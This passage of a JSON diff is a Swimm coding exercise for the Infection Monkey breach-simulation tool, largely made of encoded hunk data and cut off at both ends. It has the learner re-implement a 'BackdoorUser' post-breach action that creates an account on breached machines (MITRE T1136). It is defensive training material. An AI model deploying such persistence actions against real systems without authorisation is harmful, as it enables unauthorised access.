UyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQWRkJTIwbmV3JTIwUEJBJTIwaGVyZSUyMHRvJTIwY29uZmlnISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB", + "dod": "You should add a new PBA to the Monkey which creates a new user on the machine.", + "description": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n", + "summary": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... ", + "hunksOrder": [ + "monkey/common/data/post_breach_consts.py_0", + "monkey/infection_monkey/post_breach/actions/add_user.py_0", + "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py_0", + "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py_1", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" + ], "tests": [], "hints": [ "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.", "Make sure to add the PBA to the configuration as well.", "MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report." ], - "files": { + "play_mode": "all", + "swimmPatch": { "monkey/common/data/post_breach_consts.py": { - "index": [ - "c3bba995..031f9ad0", - "100644" - ], - "fileA": "monkey/common/data/post_breach_consts.py", - "fileB": "monkey/common/data/post_breach_consts.py", - "status": "MODIFIED", - "numLineDeletions": 1, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTIwJTNEJTIwJTVDJTIyQ29tbXVuaWNhdGUlMjBhcyUyMG5ldyUyMHVzZXIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyMCUzRCUyMCU1QyUyMkJhY2tkb29yJTIwdXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjMlMjBTd2ltbWVyJTNBJTIwUFVUJTIwVEhFJTIwTkVXJTIwQ09OU1QlMjBIRVJFISUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCU1QyUyMkZpbGUlMjBleGVjdXRpb24lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTVDJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCU1QyUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E1JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCU3RCU3RCU3RA==" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py\nindex 25e6679c..05980288 100644\n--- a/monkey/common/data/post_breach_consts.py\n+++ b/monkey/common/data/post_breach_consts.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,5 +1,5 @@", + " POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"", + "-POST_BREACH_BACKDOOR_USER = \"Backdoor user\"", + "+# Swimmer: PUT THE NEW CONST HERE!", + " POST_BREACH_FILE_EXECUTION = \"File execution\"", + " POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"", + " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"" + ] + } ] }, "monkey/infection_monkey/post_breach/actions/add_user.py": { - "index": [ - "58be89a1..d8476a97", - "100644" - ], - "fileA": "monkey/infection_monkey/post_breach/actions/add_user.py", - "fileB": "monkey/infection_monkey/post_breach/actions/add_user.py", - "status": "MODIFIED", - "numLineDeletions": 9, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDNyUyMCU0MCU0MCUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnBvc3RfYnJlYWNoLnBiYSUyMGltcG9ydCUyMFBCQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnV0aWxzLnVzZXJzJTIwaW1wb3J0JTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNiUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwY2xhc3MlMjBCYWNrZG9vclVzZXIoUEJBKSUzQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTclMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCUyQyUyMmIlMjIlM0E2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi51c2VyX3RvX2FkZCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnJlbW90ZV91c2VyX3Bhc3MpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBhc3MlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwSW1wbCUyMGhlcmUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNyU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py\nindex 58be89a1..d8476a97 100644\n--- a/monkey/infection_monkey/post_breach/actions/add_user.py\n+++ b/monkey/infection_monkey/post_breach/actions/add_user.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,15 +1,7 @@", + "-from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER", + "-from infection_monkey.config import WormConfiguration", + " from infection_monkey.post_breach.pba import PBA", + " from infection_monkey.utils.users import get_commands_to_add_user", + " ", + " ", + " class BackdoorUser(PBA):", + " def __init__(self):", + "- linux_cmds, windows_cmds = get_commands_to_add_user(", + "+ pass # Swimmer: Impl here!", + "- WormConfiguration.user_to_add,", + "- WormConfiguration.remote_user_pass)", + "- super(BackdoorUser, self).__init__(", + "- POST_BREACH_BACKDOOR_USER,", + "- linux_cmd=' '.join(linux_cmds),", + "- windows_cmd=windows_cmds)" + ] + } ] }, "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": { - "index": [ - "086a1c13..da99e86c", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "fileB": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "status": "MODIFIED", - "numLineDeletions": 2, - "numLineAdditions": 2, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjAoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMSUyQyUyMmIlMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTVDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMyUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlN0QlN0QlN0Q=", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlMkMlMjJiJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB1c2VkX21zZyUyMCUzRCUyMCU1QyUyMk1vbmtleSUyMGNyZWF0ZWQlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwbmV0d29yaydzJTIwc3lzdGVtcy4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyUyQyUyMmIlMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTQlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTExJTJDJTIybGluZXNDb3VudCUyMiUzQTQlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\nindex 086a1c13..9f23bb8d 100644\n--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\n+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,5 +1,5 @@", + " from common.data.post_breach_consts import (", + "- POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER)", + "+ POST_BREACH_BACKDOOR_USER)", + " from monkey_island.cc.services.attack.technique_reports.pba_technique import \\", + " PostBreachTechnique", + " " + ] + }, + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -11,4 +11,4 @@", + " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", + " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", + " used_msg = \"Monkey created a new user on the network's systems.\"", + "- pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]", + "+ pba_names = [POST_BREACH_BACKDOOR_USER]" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { - "index": [ - "f3e2a9bf..2c4aa664", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "status": "MODIFIED", - "numLineDeletions": 9, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00JTJDMTUlMjAlMkI0JTJDNyUyMCU0MCU0MCUyMFBPU1RfQlJFQUNIX0FDVElPTlMlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIybWlnaHQlMjBkbyUyMGFmdGVyJTIwYnJlYWNoaW5nJTIwYSUyMG5ldyUyMG1hY2hpbmUuJTIwVXNlZCUyMGluJTIwQVRUJTI2Q0slMjBhbmQlMjBaZXJvJTIwdHJ1c3QlMjByZXBvcnRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlNUMlMjJhbnlPZiU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTYlMkMlMjJiJTIyJTNBNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMkJhY2tkb29yVXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM